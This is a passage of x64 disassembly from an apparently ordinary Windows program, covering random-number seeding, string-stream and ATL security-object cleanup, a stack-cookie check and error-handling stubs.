mov dword [rsp + 0xae14], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xae14], eax
inc rdx
cmp rdx, 0x270
jb 0x1402119d1
mov dword [rsp + 0xae10], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140211a20
lea rcx, [rsp + 0xe40]
call fcn.140219ac0
nop
mov rax, qword [rsp + 0x1080]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x1080], rax
mov rax, qword [rsp + 0x1080]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x107c], edx
lea rcx, [rsp + 0x1090]
call fcn.140217120
lea rcx, [rsp + 0x1098]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1110]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1170]
call fcn.140219ac0
nop
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0x1000], rax
mov rdx, qword [rsp + 0x1070]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140214471
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0x1068]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140214496
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0x1060]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1402144bb
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0x1058]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x1402144df
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
nop
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xd70], rax
mov rdx, qword [rsp + 0xd80]
mov rcx, qword [rsp + 0xd78]
test rdx, rdx
je 0x14021451e
test rcx, rcx
je 0x140214516
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rsp + 0xd78]
mov qword [rsp + 0xd80], rsi
test rcx, rcx
je 0x140214531
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xd78], rsi
mov edx, 8
mov rcx, qword [rsp + 0xd88]
call fcn.140240c80
nop
mov rcx, qword [rsp + 0xda0]
xor rcx, qword [rsp + 0xd98]
mov rax, qword [rsp + 0xda8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xc990]
xor rcx, rsp
call fcn.140240c60
lea r11, [rsp + 0xca20]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
mov rdx, qword [rsp + 0x68]
jne 0x14020e040
mov rax, qword [rax]
jmp 0x14020e000
mov ecx, 0x80004005
call fcn.1401bb390
nop
mov ecx, 0x80004005
call fcn.1401bb390
nop
mov ecx, 0x80004005
call fcn.1401bb390
nop
mov ecx, 0x80004005
call fcn.1401bb390
int3